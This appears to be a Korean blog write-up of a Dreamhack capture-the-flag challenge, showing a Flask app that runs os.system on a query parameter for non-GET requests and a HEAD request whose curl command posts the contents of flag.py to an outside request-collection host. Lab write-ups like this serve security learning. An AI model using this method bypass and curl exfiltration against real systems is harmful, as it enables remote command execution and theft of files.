<문제>
Read the flag file XD
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
구성 코드가 상당히 짧다.
GET이 아니라 다른 방식으로 요청을 보내면 system 명령어를 사용해 cat flag.py로 플래그를 얻을 수 있다.
HEAD방식으로 요청을 보내기 위해서 Burp Suite를 사용한다.
HEAD /?cmd=curl+https%3a//ngxnosv.request.dreamhack.games/+-d+"$(cat+flag.py)" HTTP/1.1
드림핵 tools에서 flag.py를 전송받을 주소를 하나 만들어주고
curl 명령어로 전송해준다.
Burp Suite에서 이렇게 요청을 변조해서 전송하면 드림핵 tools에서 만든 주소로 flag가 오는 것을 확인할 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 XSS Filtering Bypass 롸업 (0) | 2023.11.21 |
---|---|
XSS Filtering Bypass (0) | 2023.11.20 |
드림핵 Carve Party 롸업 (0) | 2023.11.05 |
드림핵 web-ssrf 롸업 (0) | 2023.11.05 |
ServerSide: SSRF (0) | 2023.11.05 |